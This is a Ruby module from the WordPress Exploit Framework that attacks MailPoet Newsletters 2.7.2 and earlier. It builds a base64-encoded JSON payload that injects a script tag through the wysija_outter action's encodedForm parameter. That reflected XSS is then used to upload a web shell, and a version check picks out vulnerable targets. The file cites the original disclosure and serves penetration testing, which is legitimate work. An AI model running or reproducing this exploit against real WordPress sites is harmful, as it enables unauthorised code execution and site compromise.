# frozen_string_literal: true

require 'base64'

class Wpxf::Exploit::MailpoetNewslettersV272ReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::ReflectedXss

  def initialize
    super

    update_info(
      name: 'MailPoet Newsletters <= 2.7.2 Reflected XSS Shell Upload',
      author: [
        'Sipke Mellema,', # Discovery and disclosure
        'rastating'       # WPXF module
      ],
      references: [
        ['WPVDB', '8617'],
        ['URL', 'https://sumofpwn.nl/advisory/2016/reflected_cross_site_scripting_vulnerability_in_mailpoet_newsletters_plugin.html']
      ],
      date: 'Sep 10 2016'
    )
  end

  def check
    check_plugin_version_from_readme('wysija-newsletters', '2.7.3')
  end

  def base64_encoded_payload
    Base64.urlsafe_encode64({ form: Utility::Text.rand_alpha(3), after_widget: "<script>#{xss_ascii_encoded_include_script}</script>" }.to_json)
  end

  def url_with_xss
    "#{full_uri}?wysija-page=1&controller=subscribers&action=wysija_outter&encodedForm=#{base64_encoded_payload}"
  end
end
